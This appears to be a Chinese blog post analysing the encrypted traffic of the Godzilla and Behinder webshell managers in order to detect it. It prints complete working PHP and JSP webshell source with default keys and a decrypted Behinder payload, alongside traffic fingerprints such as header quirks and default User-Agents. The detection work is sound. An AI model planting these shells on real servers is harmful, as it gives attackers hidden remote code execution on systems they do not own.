Loading

Webshell流量分析之哥斯拉Godzilla&冰蝎Behinder

哥斯拉和冰蝎相较于菜刀蚁剑,它们的通信流量是加密的,有比较好的抗检测能力。

菜刀和蚁剑流量分析:Webshell流量分析之菜刀Chopper&蚁剑AntSword

哥斯拉

哥斯拉(Godzilla)是由Java开发的一款Webshell管理工具,支持多种类型的Webshell,支持加通信流量加密。

哥斯拉v4.0.1下载地址:https://github.com/BeichenDream/Godzilla/releases/tag/v4.0.1-godzilla

在使用哥斯拉之前需要准备 jdk1.8 的环境。

哥斯拉支持jsp、php、aspx等多种载荷,java和c#的载荷原生实现AES加密,PHP使用异或加密。

PHP Shell

管理 -> 生成 -> 有效载荷PhpDynamicPayload

加密器有 3 种:

image

PHP_EVAL_XOR_BASE64 生成的shell:

<?php
eval($_POST["pass"]);

PHP_XOR_BASE64 生成的shell:

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

encode()函数用于对数据进行异或加密,待加密的数据$D和$K密钥。

$pass: 密码参数的名称

$payloadName: 有效载荷参数的名称

$key: 密钥

将接收到的pass经过Base64解码,然后使用密钥进行异或解密。判断是否设置有效载荷参,将载荷数据密钥解密,并检查是否包含字符串“getBasicsInfo”。如果不包含则再次对载荷数据进行解密,然后eval()函数执行解密后的Payload。

PHP_XOR_RAW 生成的shell:

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

和上一个很类似,只不过data是读取 php://input 流中的数据,读取http请求的原始请求体数据的输入流。

初始的3次请求

这里选着第一种PHP_EVAL_XOR_BASE64,选择对应有效载荷和加密器:

image

Wireshark抓取连接shell的数据包,一共进行了 3次 请求:

image

第一次请求的数据包通常要比后面两个数据包要大,而且第一个请求包的http响应体是空的:

image

第二次请求的数据包会携带响应数据包设置的Cookie值,http响应体是一段相对固定长的串,长度为64个字节,可以分为前16字节,中间32字节,结尾16字节。

image

第三次请求的数据包仔细看也是有一有意思的特征,前16个字节和最后的16个字节和第二响应包是一致的,继续抓后面的包,同样有这个特性。

image

原因在于哥斯拉对响应报文格式的设计,一个32位的md5字符串会被拆分为两部分,分别放在base64编码数据的前后。在后面的jsp脚本同样会分析到。

一个通用的连接特征:哥斯拉在进行初始化时会产生一个较大的数据包(第一个),后续操作产生的数据包则相对较小。

数据都是加密的,所以哥斯拉的抗静态检测能力还是很强的。但是仍然有一些特征是可以被察觉到的:

Accept 字段(弱特征)默认是:

image

Cookie 中有一个非常关键的特征,最后会有个分号:

image

JSP Shell

管理 -> 生成 -> 有效载荷JAVADynamicPayload

加密器有 2 种:

JAVA_AES_BASE64 生成的shell:

<%!
String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
class X extends ClassLoader { public Class Q(byte[] cb) { ... } }
public byte[] x(byte[] s, boolean m) { ... }
public static String md5(String s) { ... }
public static String base64Encode(byte[] bs) throws Exception { ... }
public static byte[] base64Decode(String bs) throws Exception { ... }
%>
<%
    try {
        byte[] data = base64Decode(request.getParameter(pass));
        data = x(data, false);
        if (session.getAttribute("payload") == null) {
            session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
        } else {
            request.setAttribute("parameters", data);
            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
            Object f = ((Class) session.getAttribute("payload")).newInstance();
            f.equals(arrOut);
            f.equals(pageContext);
            response.getWriter().write(md5.substring(0, 16));
            f.toString();
            response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
            response.getWriter().write(md5.substring(16));
        }
    } catch (Exception e) {}
%>

这个response对象会产生一个固定特征:如果使用base64编码,响应体会出现一个固定特征,一个32位的md5字符串会被拆分为两部分,分别放在base64编码数据的前后。

response.getWriter().write(md5.substring(0, 16));
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));

JAVA_AES_ROW 生成的shell:

<%!
String xc = "3c6e0b8a9c15224a";
class X extends ClassLoader { ... }
public byte[] x(byte[] s, boolean m) { ... }
%>
<%
    try {
        byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))];
        java.io.InputStream inputStream = request.getInputStream();
        int _num = 0;
        while ((_num += inputStream.read(data, _num, data.length)) < data.length);
        data = x(data, false);
        if (session.getAttribute("payload") == null) {
            session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
        } else {
            request.setAttribute("parameters", data);
            Object f = ((Class) session.getAttribute("payload")).newInstance();
            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
            f.equals(arrOut);
            f.equals(pageContext);
            f.toString();
            response.getOutputStream().write(x(arrOut.toByteArray(), true));
        }
    } catch (Exception e) {}
%>

在默认脚本编码的情况下,jsp会出现xc、pass字符和Java反射(ClassLoadergetClass().getClassLoader()),base64加解码等特征。

关于jsp木马详细分析可参考其他师傅的文章:https://blog.csdn.net/zeros__/article/details/111613134

和php木马类似,jsp的木马流量同样进行三次请求,请求数据同样是加密的,响应包也有类似结构。同样存在Accept字段弱特征,和Cookie中最后会有个分号。

asp木马不太熟悉,暂时不介绍,但基本的流量弱特征和php和jsp类似。

冰蝎

冰蝎也是一款基于Java开发的动态加密通信流量的新型Webshell客户端,它的通信流量也是被加密的。

冰蝎有四个大版本,目前最新版Behinder_v4.1【t00ls专版】下载:

https://github.com/rebeyond/Behinder/releases/tag/Behinder_v4.1【t00ls专版】

再最新的4版本中提供了传输协议自定义功能,支持让用户对流量的加密和解密进行自定义。

传输协议有以下这 6 种:

image

PHP Shell

主流的 3 种,这里以php的shell为例:

default_xor 生成的php shell:

<?php
@error_reporting(0);

$post=Decrypt(file_get_contents("php://input"));
@eval($post);
?>

default_xor_base64 生成的php shell:

<?php
@error_reporting(0);
function Decrypt($data)
{
    $key="e45e329feb5d925b"; 
    $bs="base64_"."decode";
	$after=$bs($data."");
	for($i=0;$i<strlen($after);$i++) {
    	$after[$i] = $after[$i]^$key[$i+1&15]; 
    }
    return $after;
}
$post=Decrypt(file_get_contents("php://input"));
@eval($post);
?>

default_aes 生成的php shell:

<?php
@error_reporting(0);
	function Decrypt($data)
	{
		$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的ĺ‰?16位,默认连接密码rebeyond
		return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
	}
$post=Decrypt(file_get_contents("php://input"));
@eval($post);
?>

请求和响应数据解密

这里将采用AES加密模式的shell上传到服务器,如图新增Shell,加密类型选择自定义:

image

连接成功:

image

冰蝎的初始通信过程会产生 2 个请求数据包:

image

大致的通信流程:

  1. 本地对Payload进行加密,然后通过POST请求发送给远程服务端

  2. 服务端收到Payload密文后,利用解密算法进行解密

  3. 服务端执行解密后的Payload,并获取执行结果

  4. 服务端对Payload执行结果进行加密,然后返回给本地客户端

  5. 客户端收到响应密文后,利用解密算法解密,得到响应内容明文

尝试对第 1 个请求报文进行默认的aes密钥解密:

推荐一个AES加解密工具网站:https://www.toolhelper.cn/SymmetricEncryption/AES

根据上面生默认生成的shell可知,AES加密采用的是ECB模式,密钥长度128bits。这里选择对应选项,使用默认密钥e45e329feb5d925b进行解密。

image

获得解密后的冰蝎请求中的PHP代码:

@error_reporting(0);
function main($content)
{
	$result = array();
	$result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    @session_start();  //初始化session,避免connect之后直接background,后续getresult无法获取cookie

    echo encrypt(json_encode($result));
}

	function Encrypt($data)
	{
		$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的�?16位,默认连接密码rebeyond
		return base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));
	}
$content="N1BEeVp0Q0lXUlQ1aERsaFgxOEc2RlgyOEY1UE1XbWdVc3czQXZCcmYya2NzZXk5VVlqTTNTVzRXWWZkdXZjVjgxcmpjNXRLcWdNYldGbjdTbjhudEFwQktOQjdCWklZRnFTVEl6QTVHZGtDREdBZUx0d3prOWFiVGtzZ2ttMlNackIzdjY0bVpHc2kwV05hd2ZPU28wTlRnOVhyRmQydlM5bVM1WWs1QVpVNk4yREw5cDg2YzNoM2xnU2UxNjF6ZEFsamJGM0R6QjlEREFtWkMzZkNCMXIzWGVoc1licnE1dGwxNW83Rlo1RXJOZ0tjN2tIa0tzeFpzbHBvNWhMUGExd0drM1c5Y0VVVG1wYVBYV0l3VUZ6Q080YjBRcEVTbGVKQUN5MWZPcHBtOTJwRkdNWGpxWFNRMzZsUjJoQ2J5M0pKbVhFVEx5YmxHQnY4N2ZsTU44dVB6MDAwYktIaFRMUXhaS1JoM3FmT05GVXNyRHpUTm12R1FpTXVhNGpFNlB0RjZURlFzMFl4UnNoSGF2UDF1VW9qMmh0VlQxUE9ZdTFPRjZtZzhQR0EyUHFEcEYzbkZDcW1UaGpKdktYd3hQSXNFU2VkNVlaTGtteEpMeHlPWWNWV0RpeGp6Um9XU1Yya0tKbkt4clZqUWVaSm83M0lsMnhKOEdZUmtWbHVQZUVnU2hSeFk1c3ZNc2ZyZVhaZXBVclA4TnR0bjNyNW0xYURqb1FWQWpFdnBtaDIzMkFENnFHRHh5enJ0c25mQlpEMFdhZnlSQ3k4WlFqSW5JWVRaaWVUVHRhUXREY0k0cWdxN2VtYUszVFlNWFFMUW1VcDlWako3ZjVWdHlTU1VQdmFnQTF6N2VCOHpEMDIyN1EyQnJncDFQTzM4S1pDQnMzU0VRdzNKdzh4VW1xSk13cm1vR1pNbzhpT2k1cTEydzI0c2VnMW13czBmMmpJOVltVzlJTVJTY0dES3hnc3JUTG5qQ2NFck5SSTM3TmFEYlA5M2JzZGE2WUIwV0xMV0RMVlJ2U2k0Y1BiNUJT";$content=base64_decode($content);
main($content);

代码中content这个变量名称和里面的内容为随机生成的,目的是为了绕过Content-Length。

然后再在对响应内容AES解密:

image

解密内容:

{"status":"c3VjY2Vzcw==","msg":"N1BEeVp0Q0lXUlQ1aERsaFgxOEc2RlgyOEY1UE1XbWdVc3czQXZCcmYya2NzZXk5VVlqTTNTVzRXWWZkdXZjVjgxcmpjNXRLcWdNYldGbjdTbjhudEFwQktOQjdCWklZRnFTVEl6QTVHZGtDREdBZUx0d3prOWFiVGtzZ2ttMlNackIzdjY0bVpHc2kwV05hd2ZPU28wTlRnOVhyRmQydlM5bVM1WWs1QVpVNk4yREw5cDg2YzNoM2xnU2UxNjF6ZEFsamJGM0R6QjlEREFtWkMzZkNCMXIzWGVoc1licnE1dGwxNW83Rlo1RXJOZ0tjN2tIa0tzeFpzbHBvNWhMUGExd0drM1c5Y0VVVG1wYVBYV0l3VUZ6Q080YjBRcEVTbGVKQUN5MWZPcHBtOTJwRkdNWGpxWFNRMzZsUjJoQ2J5M0pKbVhFVEx5YmxHQnY4N2ZsTU44dVB6MDAwYktIaFRMUXhaS1JoM3FmT05GVXNyRHpUTm12R1FpTXVhNGpFNlB0RjZURlFzMFl4UnNoSGF2UDF1VW9qMmh0VlQxUE9ZdTFPRjZtZzhQR0EyUHFEcEYzbkZDcW1UaGpKdktYd3hQSXNFU2VkNVlaTGtteEpMeHlPWWNWV0RpeGp6Um9XU1Yya0tKbkt4clZqUWVaSm83M0lsMnhKOEdZUmtWbHVQZUVnU2hSeFk1c3ZNc2ZyZVhaZXBVclA4TnR0bjNyNW0xYURqb1FWQWpFdnBtaDIzMkFENnFHRHh5enJ0c25mQlpEMFdhZnlSQ3k4WlFqSW5JWVRaaWVUVHRhUXREY0k0cWdxN2VtYUszVFlNWFFMUW1VcDlWako3ZjVWdHlTU1VQdmFnQTF6N2VCOHpEMDIyN1EyQnJncDFQTzM4S1pDQnMzU0VRdzNKdzh4VW1xSk13cm1vR1pNbzhpT2k1cTEydzI0c2VnMW13czBmMmpJOVltVzlJTVJTY0dES3hnc3JUTG5qQ2NFck5SSTM3TmFEYlA5M2JzZGE2WUIwV0xMV0RMVlJ2U2k0Y1BiNUJT"}

可以看到返回的格式为:

{"status":"success","msg":"...base64..."}

其中msg是一段Base64字符串,它就是请求报文中content经过Base64编码,然后再AES加密后生成的。其作用和请求中的content一样都是为了绕过Content-Length。

C/S的AES密钥

分析第一个请求和响应,发现并没传递AES密钥的部分,尽管这里使用默认的密钥,C/S如何共享密钥?

原因:

冰蝎的Webshell中这个AES密钥就是连接密码MD5值的前16位。

默认连接密码为rebeyond,它的MD5值的前16位就是前面多次提到的e45e329feb5d925b。所以当连接密码确定后,本地生成的服务端shell中就会自带AES密钥,并不需要客户端与服务端的请求和响应来获取。

对通信协议的分析就到这里,更加详细的内容参考官方给出的文档:https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A

分析数据包的头部,冰蝎的数据包也会存在一些弱特征:

image

比如:

Accept 字段:

Accept: application/json, text/javascript, */*; q=0.01

Content-Type 字段:

Content-type: application/x-www-form-urlencoded

Connection 长连接:

Connection: Keep-Alive

冰蝎4.0 内置10种 User-Agent 请求头:

"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0",
"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0",
"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"

总结:

哥斯拉和冰蝎的流量特征分析,它们都会存在请求Header固定字段属于弱特征。除了这些,上传的Webshell文件也包含固定特征,检测流量中是否包含Webshell固定代码,判断是否为上传Webshell文件。

参考文章:
http://danielw.top/index.php/daniel/251/
https://blog.csdn.net/miraclehw/article/details/129701611
https://cn-sec.com/archives/2655301.html
https://www.cnblogs.com/mr-ryan/p/17807521.html
https://www.cheetah-lab.com/?p=159


若有错误,欢迎指正!o( ̄▽ ̄)ブ

posted @ 2024-05-13 10:08  smileleooo  阅读(141)  评论(0编辑  收藏  举报